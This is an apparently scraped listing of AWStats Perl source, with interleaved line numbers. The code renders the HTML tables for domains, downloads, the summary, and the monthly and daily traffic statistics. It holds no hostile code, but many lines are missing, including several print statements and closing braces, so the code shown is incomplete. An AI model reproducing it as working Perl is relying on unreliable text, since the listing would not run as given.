if ( $ShowDomainsStats =~ /B/i ) {
12412
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
12414
print "<td class=\"aws\">";
12415
if ( $ShowDomainsStats =~ /P/i ) {
12417
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
12418
. AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
12421
if ( $ShowDomainsStats =~ /H/i ) {
12423
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
12424
. AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
12427
if ( $ShowDomainsStats =~ /B/i ) {
12429
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
12431
"$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
12436
$total_u += $_domener_u;
12437
$total_v += $_domener_v;
12438
$total_p += $_domener_p{$key};
12439
$total_h += $_domener_h{$key};
12440
$total_k += $_domener_k{$key} || 0;
12443
my $rest_u = $TotalUnique - $total_u;
12444
my $rest_v = $TotalVisits - $total_v;
12445
$rest_p = $TotalPages - $total_p;
12446
$rest_h = $TotalHits - $total_h;
12447
$rest_k = $TotalBytes - $total_k;
12453
{ # All other domains (known or not)
12455
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12456
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
12457
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
12458
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
12459
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
12460
if ( $ShowDomainsStats =~ /B/i ) {
12461
print "<td>" . Format_Bytes($rest_k) . "</td>";
12463
print "<td class=\"aws\"> </td>";
12470
#------------------------------------------------------------------------------
12471
# Function: Prints the Downloads code frame or static page
12476
#------------------------------------------------------------------------------
12477
sub HTMLShowDownloads{
12478
my $regext = qr/\.(\w{1,6})$/;
12479
print "$Center<a name=\"downloads\"> </a><br />\n";
12480
&tab_head( $Message[178], 19, 0, "downloads" );
12481
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>";
12482
if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
12483
."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
12484
if ( $ShowFileTypesStats =~ /B/i ){
12485
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12486
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
12490
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
12492
my $ext = Get_Extension($regext, $u);
12495
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
12496
. "><img src=\"$DirIcons\/mime\/unknown.png\""
12501
my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
12502
my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " ";
12504
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
12505
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
12509
print "<td class=\"aws\">";
12510
&HTMLShowURLInfo($u);
12512
if ( $ShowFileTypesStats =~ /H/i ){
12513
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
12514
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
12516
if ( $ShowFileTypesStats =~ /B/i ){
12517
print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
12518
print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
12519
($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
12523
if ($count >= $MaxRowsInHTMLOutput){last;}
12529
#------------------------------------------------------------------------------
12530
# Function: Prints the Summary section at the top of the main page
12535
#------------------------------------------------------------------------------
12536
sub HTMLMainSummary{
12537
if ($Debug) { debug( "ShowSummary", 2 ); }
12538
# FirstTime LastTime
12541
foreach my $key ( keys %FirstTime ) {
12542
my $keyqualified = 0;
12543
if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
12544
if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
12545
if ($keyqualified) {
12546
if ( $FirstTime{$key}
12547
&& ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
12549
$FirstTime = $FirstTime{$key};
12551
if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
12552
$LastTime = $LastTime{$key};
12557
#print "$Center<a name=\"summary\"> </a><br />\n";
12558
my $title = "$Message[128]";
12559
&tab_head( "$title", 0, 0, 'month' );
12561
my $NewLinkParams = ${QueryString};
12562
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
12563
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
12564
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
12565
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
12566
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
12567
$NewLinkParams =~ s/(&|&)+/&/i;
12568
$NewLinkParams =~ s/^&//;
12569
$NewLinkParams =~ s/&$//;
12570
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
12571
my $NewLinkTarget = '';
12573
if ( $FrameName eq 'mainright' ) {
12574
$NewLinkTarget = " target=\"_parent\"";
12578
my $RatioVisits = 0;
12579
my $RatioPages = 0;
12581
my $RatioBytes = 0;
12582
if ( $TotalUnique > 0 ) {
12583
$RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
12585
if ( $TotalVisits > 0 ) {
12586
$RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
12588
if ( $TotalVisits > 0 ) {
12589
$RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
12591
if ( $TotalVisits > 0 ) {
12593
int( ( $TotalBytes / 1024 ) * 100 /
12594
( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
12599
if ( $LogType eq 'W' || $LogType eq 'S' ) {
12605
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
12607
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
12608
. ( $colspan - 1 ) . "\">\n";
12609
print( $MonthRequired eq 'all'
12610
? "$Message[6] $YearRequired"
12612
. $MonthNumLib{$MonthRequired}
12615
print "</td></tr>\n";
12616
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
12617
print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
12618
print "<td class=\"aws\" colspan=\""
12619
. ( $colspan - 1 ) . "\">"
12620
. ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
12622
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
12623
print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
12624
print "<td class=\"aws\" colspan=\""
12625
. ( $colspan - 1 ) . "\">"
12626
. ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
12630
# Show main indicators title row
12632
if ( $LogType eq 'W' || $LogType eq 'S' ) {
12633
print "<td bgcolor=\"#$color_TableBGTitle\"> </td>";
12635
if ( $ShowSummary =~ /U/i ) {
12636
print "<td width=\"$w%\" bgcolor=\"#$color_u\""
12638
. ">$Message[11]</td>";
12642
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
12644
if ( $ShowSummary =~ /V/i ) {
12645
print "<td width=\"$w%\" bgcolor=\"#$color_v\""
12647
. ">$Message[10]</td>";
12651
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
12653
if ( $ShowSummary =~ /P/i ) {
12654
print "<td width=\"$w%\" bgcolor=\"#$color_p\""
12656
. ">$Message[56]</td>";
12660
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
12662
if ( $ShowSummary =~ /H/i ) {
12663
print "<td width=\"$w%\" bgcolor=\"#$color_h\""
12665
. ">$Message[57]</td>";
12669
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
12671
if ( $ShowSummary =~ /B/i ) {
12672
print "<td width=\"$w%\" bgcolor=\"#$color_k\""
12674
. ">$Message[75]</td>";
12678
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
12682
# Show main indicators values for viewed traffic
12684
if ( $LogType eq 'M' ) {
12685
print "<td class=\"aws\">$Message[165]</td>";
12686
print "<td> <br /> </td>\n";
12687
print "<td> <br /> </td>\n";
12688
if ( $ShowSummary =~ /H/i ) {
12689
print "<td><b>".Format_Number($TotalHits)."</b>"
12693
: "<br />($RatioHits "
12694
. lc( $Message[57] . "/" . $Message[12] ) . ")"
12698
else { print "<td> </td>"; }
12699
if ( $ShowSummary =~ /B/i ) {
12701
. Format_Bytes( int($TotalBytes) )
12702
. "</b><br />($RatioBytes $Message[108]/"
12703
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
12706
else { print "<td> </td>"; }
12709
if ( $LogType eq 'W' || $LogType eq 'S' ) {
12710
print "<td class=\"aws\">$Message[160] *</td>";
12712
if ( $ShowSummary =~ /U/i ) {
12715
$MonthRequired eq 'all'
12716
? "<b><= ".Format_Number($TotalUnique)."</b><br />$Message[129]"
12717
: "<b>".Format_Number($TotalUnique)."</b><br /> "
12721
else { print "<td> </td>"; }
12722
if ( $ShowSummary =~ /V/i ) {
12724
"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits $Message[52])</td>";
12726
else { print "<td> </td>"; }
12727
if ( $ShowSummary =~ /P/i ) {
12728
print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages "
12729
. $Message[56] . "/"
12733
else { print "<td> </td>"; }
12734
if ( $ShowSummary =~ /H/i ) {
12735
print "<td><b>".Format_Number($TotalHits)."</b>"
12739
: "<br />($RatioHits "
12740
. $Message[57] . "/"
12741
. $Message[12] . ")"
12745
else { print "<td> </td>"; }
12746
if ( $ShowSummary =~ /B/i ) {
12748
. Format_Bytes( int($TotalBytes) )
12749
. "</b><br />($RatioBytes $Message[108]/"
12750
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
12753
else { print "<td> </td>"; }
12757
# Show main indicators values for not viewed traffic values
12758
if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
12760
if ( $LogType eq 'M' ) {
12761
print "<td class=\"aws\">$Message[166]</td>";
12762
print "<td> <br /> </td>\n";
12763
print "<td> <br /> </td>\n";
12764
if ( $ShowSummary =~ /H/i ) {
12765
print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
12767
else { print "<td> </td>"; }
12768
if ( $ShowSummary =~ /B/i ) {
12770
. Format_Bytes( int($TotalNotViewedBytes) )
12773
else { print "<td> </td>"; }
12776
if ( $LogType eq 'W' || $LogType eq 'S' ) {
12777
print "<td class=\"aws\">$Message[161] *</td>";
12779
print "<td colspan=\"2\"> <br /> </td>\n";
12780
if ( $ShowSummary =~ /P/i ) {
12781
print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>";
12783
else { print "<td> </td>"; }
12784
if ( $ShowSummary =~ /H/i ) {
12785
print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
12787
else { print "<td> </td>"; }
12788
if ( $ShowSummary =~ /B/i ) {
12790
. Format_Bytes( int($TotalNotViewedBytes) )
12793
else { print "<td> </td>"; }
12797
&tab_end($LogType eq 'W'
12798
|| $LogType eq 'S' ? "* $Message[159]" : "" );
12801
#------------------------------------------------------------------------------
12802
# Function: Prints the Monthly section on the main page
12807
#------------------------------------------------------------------------------
12808
sub HTMLMainMonthly{
12809
if ($Debug) { debug( "ShowMonthStats", 2 ); }
12810
print "$Center<a name=\"month\"> </a><br />\n";
12811
my $title = "$Message[162]";
12812
&tab_head( "$title", 0, 0, 'month' );
12813
print "<tr><td align=\"center\">\n";
12814
print "<center>\n";
12816
my $average_nb = my $average_u = my $average_v = my $average_p = 0;
12817
my $average_h = my $average_k = 0;
12818
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
12819
my $max_v = my $max_p = my $max_h = my $max_k = 1;
12821
# Define total and max
12822
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
12823
my $monthix = sprintf( "%02s", $ix );
12824
$total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
12825
$total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
12826
$total_p += $MonthPages{ $YearRequired . $monthix } || 0;
12827
$total_h += $MonthHits{ $YearRequired . $monthix } || 0;
12828
$total_k += $MonthBytes{ $YearRequired . $monthix } || 0;
12830
#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
12832
( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
12834
$max_v = $MonthVisits{ $YearRequired . $monthix };
12837
#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; }
12838
if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
12840
$max_h = $MonthHits{ $YearRequired . $monthix };
12842
if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
12844
$max_k = $MonthBytes{ $YearRequired . $monthix };
12851
# Show bars for month
12853
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
12855
my @blocklabel = ();
12856
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
12857
my $monthix = sprintf( "%02s", $ix );
12859
"$MonthNumLib{$monthix}\n$YearRequired";
12862
"$Message[11]", "$Message[10]",
12863
"$Message[56]", "$Message[57]",
12867
( "$color_u", "$color_v", "$color_p", "$color_h",
12869
my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
12871
( $total_u, $total_v, $total_p, $total_h, $total_k );
12872
my @valaverage = ();
12874
#my @valaverage=($average_v,$average_p,$average_h,$average_k);
12877
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
12878
my $monthix = sprintf( "%02s", $ix );
12879
$valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
12881
$valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
12883
$valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
12885
$valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
12887
$valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
12891
my $function = "ShowGraph_$pluginname";
12894
$ShowMonthStats, \@blocklabel,
12895
\@vallabel, \@valcolor,
12896
\@valmax, \@valtotal,
12897
\@valaverage, \@valdata
12904
print "<tr valign=\"bottom\">";
12905
print "<td> </td>\n";
12906
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
12907
my $monthix = sprintf( "%02s", $ix );
12913
if ( $max_v > 0 ) {
12916
( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
12917
$max_v * $BarHeight ) + 1;
12919
if ( $max_v > 0 ) {
12922
( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
12923
$max_v * $BarHeight ) + 1;
12925
if ( $max_h > 0 ) {
12928
( $MonthPages{ $YearRequired . $monthix } || 0 ) /
12929
$max_h * $BarHeight ) + 1;
12931
if ( $max_h > 0 ) {
12933
int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
12934
$max_h * $BarHeight ) + 1;
12936
if ( $max_k > 0 ) {
12939
( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
12940
$max_k * $BarHeight ) + 1;
12943
if ( $ShowMonthStats =~ /U/i ) {
12945
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
12946
. AltTitle( "$Message[11]: "
12947
. ( $MonthUnique{ $YearRequired . $monthix }
12951
if ( $ShowMonthStats =~ /V/i ) {
12953
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
12954
. AltTitle( "$Message[10]: "
12955
. ( $MonthVisits{ $YearRequired . $monthix }
12959
if ( $ShowMonthStats =~ /P/i ) {
12961
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
12962
. AltTitle( "$Message[56]: "
12963
. ( $MonthPages{ $YearRequired . $monthix } || 0 )
12967
if ( $ShowMonthStats =~ /H/i ) {
12969
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
12970
. AltTitle( "$Message[57]: "
12971
. ( $MonthHits{ $YearRequired . $monthix } || 0 )
12975
if ( $ShowMonthStats =~ /B/i ) {
12977
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
12981
$MonthBytes{ $YearRequired . $monthix }
12988
print "<td> </td>";
12991
# Show lib for month
12992
print "<tr valign=\"middle\">";
12994
#if (!$StaticLinks) {
12995
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>";
12998
print "<td> </td>";
13001
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13002
my $monthix = sprintf( "%02s", $ix );
13004
# if (!$StaticLinks) {
13005
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
13011
&& $monthix == $nowmonth
13012
&& $YearRequired == $nowyear
13013
? '<font class="currentday">'
13016
print "$MonthNumLib{$monthix}<br />$YearRequired";
13017
print( !$StaticLinks
13018
&& $monthix == $nowmonth
13019
&& $YearRequired == $nowyear ? '</font>' : '' );
13025
# if (!$StaticLinks) {
13026
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>";
13029
print "<td> </td>";
13033
print "</table>\n";
13037
# Show data array for month
13038
if ($AddDataArrayMonthStats) {
13041
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
13042
if ( $ShowMonthStats =~ /U/i ) {
13043
print "<td width=\"80\" bgcolor=\"#$color_u\""
13045
. ">$Message[11]</td>";
13047
if ( $ShowMonthStats =~ /V/i ) {
13048
print "<td width=\"80\" bgcolor=\"#$color_v\""
13050
. ">$Message[10]</td>";
13052
if ( $ShowMonthStats =~ /P/i ) {
13053
print "<td width=\"80\" bgcolor=\"#$color_p\""
13055
. ">$Message[56]</td>";
13057
if ( $ShowMonthStats =~ /H/i ) {
13058
print "<td width=\"80\" bgcolor=\"#$color_h\""
13060
. ">$Message[57]</td>";
13062
if ( $ShowMonthStats =~ /B/i ) {
13063
print "<td width=\"80\" bgcolor=\"#$color_k\""
13065
. ">$Message[75]</td>";
13068
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
13069
my $monthix = sprintf( "%02s", $ix );
13074
&& $monthix == $nowmonth
13075
&& $YearRequired == $nowyear
13076
? '<font class="currentday">'
13079
print "$MonthNumLib{$monthix} $YearRequired";
13080
print( !$StaticLinks
13081
&& $monthix == $nowmonth
13082
&& $YearRequired == $nowyear ? '</font>' : '' );
13084
if ( $ShowMonthStats =~ /U/i ) {
13086
Format_Number($MonthUnique{ $YearRequired . $monthix }
13087
? $MonthUnique{ $YearRequired . $monthix }
13090
if ( $ShowMonthStats =~ /V/i ) {
13092
Format_Number($MonthVisits{ $YearRequired . $monthix }
13093
? $MonthVisits{ $YearRequired . $monthix }
13096
if ( $ShowMonthStats =~ /P/i ) {
13098
Format_Number($MonthPages{ $YearRequired . $monthix }
13099
? $MonthPages{ $YearRequired . $monthix }
13102
if ( $ShowMonthStats =~ /H/i ) {
13104
Format_Number($MonthHits{ $YearRequired . $monthix }
13105
? $MonthHits{ $YearRequired . $monthix }
13108
if ( $ShowMonthStats =~ /B/i ) {
13111
int( $MonthBytes{ $YearRequired . $monthix } || 0 )
13121
"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
13122
if ( $ShowMonthStats =~ /U/i ) {
13124
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>";
13126
if ( $ShowMonthStats =~ /V/i ) {
13128
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>";
13130
if ( $ShowMonthStats =~ /P/i ) {
13132
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>";
13134
if ( $ShowMonthStats =~ /H/i ) {
13136
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>";
13138
if ( $ShowMonthStats =~ /B/i ) {
13139
print "<td bgcolor=\"#$color_TableBGRowTitle\">"
13140
. Format_Bytes($total_k) . "</td>";
13143
print "</table>\n<br />\n";
13146
print "</center>\n";
13147
print "</td></tr>\n";
13151
#------------------------------------------------------------------------------
13152
# Function: Prints the Daily section on the main page
13153
# Parameters: $firstdaytocountaverage, $lastdaytocountaverage
13154
# $firstdaytoshowtime, $lastdaytoshowtime
13158
#------------------------------------------------------------------------------
13160
my $firstdaytocountaverage = shift;
13161
my $lastdaytocountaverage = shift;
13162
my $firstdaytoshowtime = shift;
13163
my $lastdaytoshowtime = shift;
13165
if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
13166
print "$Center<a name=\"daysofmonth\"> </a><br />\n";
13167
my $title = "$Message[138]";
13168
&tab_head( "$title", 0, 0, 'daysofmonth' );
13170
print "<td align=\"center\">\n";
13171
print "<center>\n";
13173
my $NewLinkParams = ${QueryString};
13174
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
13175
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
13176
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
13177
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
13178
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
13179
$NewLinkParams =~ s/(&|&)+/&/i;
13180
$NewLinkParams =~ s/^&//;
13181
$NewLinkParams =~ s/&$//;
13182
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
13183
my $NewLinkTarget = '';
13185
if ( $FrameName eq 'mainright' ) {
13186
$NewLinkTarget = " target=\"_parent\"";
13189
my $average_v = my $average_p = 0;
13190
my $average_h = my $average_k = 0;
13191
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
13192
my $max_v = my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1
13193
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13195
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13199
if ( !DateIsValid( $day, $month, $year ) ) {
13201
} # If not an existing day, go to next
13202
$total_v += $DayVisits{ $year . $month . $day } || 0;
13203
$total_p += $DayPages{ $year . $month . $day } || 0;
13204
$total_h += $DayHits{ $year . $month . $day } || 0;
13205
$total_k += $DayBytes{ $year . $month . $day } || 0;
13206
if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
13207
$max_v = $DayVisits{ $year . $month . $day };
13210
#if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; }
13211
if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
13212
$max_h = $DayHits{ $year . $month . $day };
13214
if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
13215
$max_k = $DayBytes{ $year . $month . $day };
13218
$average_v = sprintf( "%.2f", $AverageVisits );
13219
$average_p = sprintf( "%.2f", $AveragePages );
13220
$average_h = sprintf( "%.2f", $AverageHits );
13221
$average_k = sprintf( "%.2f", $AverageBytes );
13223
# Show bars for day
13225
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
13227
my @blocklabel = ();
13228
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13230
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13234
if ( !DateIsValid( $day, $month, $year ) ) {
13236
} # If not an existing day, go to next
13239
&& $month == $nowmonth
13240
&& $year == $nowyear ? ':' : '' );
13242
( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
13244
"$day\n$MonthNumLib{$month}$weekend$bold";
13247
"$Message[10]", "$Message[56]",
13248
"$Message[57]", "$Message[75]"
13251
( "$color_v", "$color_p", "$color_h", "$color_k" );
13252
my @valmax = ( $max_v, $max_h, $max_h, $max_k );
13253
my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
13255
( $average_v, $average_p, $average_h, $average_k );
13259
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13261
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13265
if ( !DateIsValid( $day, $month, $year ) ) {
13267
} # If not an existing day, go to next
13268
$valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
13270
$valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
13271
$valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0;
13272
$valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
13274
my $function = "ShowGraph_$pluginname";
13276
"$title", "daysofmonth",
13277
$ShowDaysOfMonthStats, \@blocklabel,
13278
\@vallabel, \@valcolor,
13279
\@valmax, \@valtotal,
13280
\@valaverage, \@valdata
13284
# If graph was not printed by a plugin
13285
if (! $graphdone) {
13287
print "<tr valign=\"bottom\">\n";
13288
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13290
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13294
if ( !DateIsValid( $day, $month, $year ) ) {
13296
} # If not an existing day, go to next
13301
if ( $max_v > 0 ) {
13303
int( ( $DayVisits{ $year . $month . $day } || 0 ) /
13304
$max_v * $BarHeight ) + 1;
13306
if ( $max_h > 0 ) {
13308
int( ( $DayPages{ $year . $month . $day } || 0 ) /
13309
$max_h * $BarHeight ) + 1;
13311
if ( $max_h > 0 ) {
13313
int( ( $DayHits{ $year . $month . $day } || 0 ) /
13314
$max_h * $BarHeight ) + 1;
13316
if ( $max_k > 0 ) {
13318
int( ( $DayBytes{ $year . $month . $day } || 0 ) /
13319
$max_k * $BarHeight ) + 1;
13322
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13324
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
13325
. AltTitle( "$Message[10]: "
13326
. int( $DayVisits{ $year . $month . $day } || 0 )
13330
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13332
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
13333
. AltTitle( "$Message[56]: "
13334
. int( $DayPages{ $year . $month . $day } || 0 ) )
13337
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13339
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
13340
. AltTitle( "$Message[57]: "
13341
. int( $DayHits{ $year . $month . $day } || 0 ) )
13344
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13346
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
13350
$DayBytes{ $year . $month . $day }
13357
print "<td> </td>";
13359
# Show average value bars
13365
if ( $max_v > 0 ) {
13366
$bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
13368
if ( $max_h > 0 ) {
13369
$bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
13371
if ( $max_h > 0 ) {
13372
$bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
13374
if ( $max_k > 0 ) {
13375
$bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
13377
$average_v = sprintf( "%.2f", $average_v );
13378
$average_p = sprintf( "%.2f", $average_p );
13379
$average_h = sprintf( "%.2f", $average_h );
13380
$average_k = sprintf( "%.2f", $average_k );
13381
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13383
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
13384
. AltTitle("$Message[10]: $average_v") . " />";
13386
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13388
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
13389
. AltTitle("$Message[56]: $average_p") . " />";
13391
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13393
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
13394
. AltTitle("$Message[57]: $average_h") . " />";
13396
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13398
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
13399
. AltTitle("$Message[75]: $average_k") . " />";
13405
print "<tr valign=\"middle\">";
13407
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13409
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13413
if ( !DateIsValid( $day, $month, $year ) ) {
13415
} # If not an existing day, go to next
13416
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
13419
$dayofweekcursor =~ /[06]/
13420
? " bgcolor=\"#$color_weekend\""
13427
